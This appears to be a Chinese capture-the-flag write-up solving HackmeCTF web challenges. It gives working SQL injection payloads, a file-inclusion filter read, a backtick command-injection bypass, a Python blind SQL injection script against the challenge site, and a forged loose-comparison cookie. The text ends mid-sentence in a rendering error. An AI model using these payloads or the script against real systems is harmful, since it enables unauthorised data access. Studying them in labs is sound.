HackmeCTF—WP
WEB
1.hide and seek
根据题目意思猜测网页源代码里可能会有 提示,右键查看网页源代码,发现flag
2.guestbook
看到no data,点击new post可以插入新的数据,然后再回到message list可以看到刚才插入的数据,点进去阅读,看到可疑的URL:?mod=read&id=152
尝试SQL注入
首先确定字段数
输入id=152 order by 1、id=152 order by 2、id=152 order by 3、id=152 order by 4
,都能看到数据,在输入id=152 order by 5
时,出现错误,看不到数据,确认字段数为4.
利用联合查询输入?mod=read&id=-1 union select 1,2,database(),4#
,确定数据库名为g8
再输入?mod=read&id=-1 union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 0,1),4#
查看表名为flag
再查字段名,输入?mod=read&id=-1 union select 1,2,(select column_name from information_schema.columns where table_name='flag' limit 1,1),4#
字段名也是flag
最后输入?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4#
查询字段值,得到结果,拿到flag
3.LFI
题目页面如图所示
右键查看网页源代码,如图所示,发现可疑点
发现?page=……传参点,尝试php伪协议,
输入?page=php://filter/read=convert.base64-encode/resource=pages/login
Base64解码后得到
<?php
require('config.php');
if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') {
echo $flag;
} else {
?>
发现用户名和密码,但密码是经MD5加密后的值,解密后如图所示
拿到密码passw0rd
输入用户名为admin 密码为passw0rd,拿到flag
4.homepage
进入题目网站如图4.1所示,结合题目提示:Did you check the code?
想到进入网页源代码查看,F12调出代码和控制台,仔细查看得到线索拿到二维码flag
扫描二维码得到flag
5.ping
进入题目网页得源码
审计代码可知过滤了很多敏感字符,但是linux下的反引号没有被过滤,反引号在linux命令行的作用是执行中间的命令,并将执行后的结果取代反引号命令,然后再执行外面的命令。构造?ip=ls
即可看到图所示内容,
发现flag.php,但cat命令被过滤,因此想到另一个sort命令,能将文件进行排序输出,试下sort加通配符
?ip=sort ????????
,发现flag
6.scoreboard
点进题目网址,发现是scoreboard的地址,在网页上寻找线索,并查看源码,没有发现可疑点,试着用burpsuite抓包,但没有什么可以重放的,试着随意重放了一下,结果真的在响应头里找到了flag,如图所示
7.login as admin 0
进入网址,查看源码,如图所示
审计代码,发现过滤函数如图所示
易知题目过滤了 or 1=1 等字符,还会用反斜杠转义单引号,漏洞点就在于本题只转义引号,不转义其它字符,所以我们可以考虑用自己提交的反斜杠转义掉引号前面的反斜杠,这样引号就被脱出来了,构造 payload如下
name=\'union select 1,1,1,1#&password=a
提交得到图所示,拿到flag
**
8.login as admin 0.1
**
从上题中得到线索,flag在database中,所以推测此题是要通过注入去数据库中寻找flag
先确定列数,输入name=admin\' union select 1,2,3,4#&password=1
正常回显,所以判定数据库中有4列,
接着试着确定列名,输入
name=admin\' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
得到以下内容
拿到表名,再输入
name=admin\' union select 1,the_f14g,3,4 from h1dden_f14g#
如图成功拿到flag
9.login as admin 1
进入目标网址,查看源码,如图所示
发现和login as admin 0不同的地方,在于如图所示的过滤点,
过滤掉了空格,于是使用/**/代替空格,提交
name=admin\'/**/union/**/select/**/1,2,3,4/**/#
得到如下所示结果,拿到flag
10.login as admin 1.2
输入’或者\进行测试都没有回显,推测是盲注,进行布尔注入,脚本如下
import requests
myd = requests.session()
header = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"}
url ="https://hackme.inndy.tw/login1/"
true ="You are not admin!"
#database() 15 login_as_admin1
#0bdb54c98123f5526ccaed982d2006a9,users
#id,4a391a11cfa831ca740cf8d00782f3a6,id,name,password,isadmin
result =""
count =0
for x in range(250):
print "[+]...testing " + str(x + 1)
for y in range(32,127):
payload ="\\'or(ascii(mid((select group_concat(4a391a11cfa831ca740cf8d00782f3a6) from 0bdb54c98123f5526ccaed982d2006a9),%s,1))=%s)#"%(x +1,y)
payload = payload.replace(" ",chr(0x0a))
data = {
"name": payload,
"password":123
}
mys = myd.post(url,data=data,headers=header).text
if true in mys:
result = result + chr(y)
print "the result is: " + result
break
count = y
if count ==126:
print "[√]the result is: " + result
运行结果如图所示,拿到flag
11.login as admin 3
查看源码,如图所示,
简单审计一下代码,,发现登录后如图所示
会在cookie里set一个字符串,该字符串经base64解码后结果如图
会有两个键的数组,分别是data和sig,分析代码可知如果sig和密钥加密后的data弱等于,并且在data经过json解码后产生的数组中,键1的值弱等于true
这里可以用0几乎与任何字符串弱等于的方式,来进行弱类型匹配绕过密钥加密
用guest登录,拿到cookie后进行修改,获得新的cookie
eyJzaWciOjAsImRhdGEiOiJbXCJndWVzdFwiLHRydWVdIn0=
修改cookie访问,如图所示
拿到flag
12.login as admin 4
查看源码,如图所示
分析源码可知要拿到flag,要求post提交user为admin,但同时如果post提交的password不强等于数据库里的 password,就会强制跳转到错误的页面。
想到可以通过burpsuite修改提交的包进而绕过,但是这个网址是https网址,抓包需要添加证书,在网上百度了教程后,成功添加,用bp抓包后,删除password的内容,如图所示,
重放攻击得到flag
13.login as admin 6
进入网址,查看源码,如图所示,
发现了一个存在漏洞的函数——extract(),它有一个最大的漏洞——变量覆盖,即可以通过提交的变量把脚本中原来的变量覆盖掉!
通过阅读代码,可以知道它是用KaTeX parse error: Expecte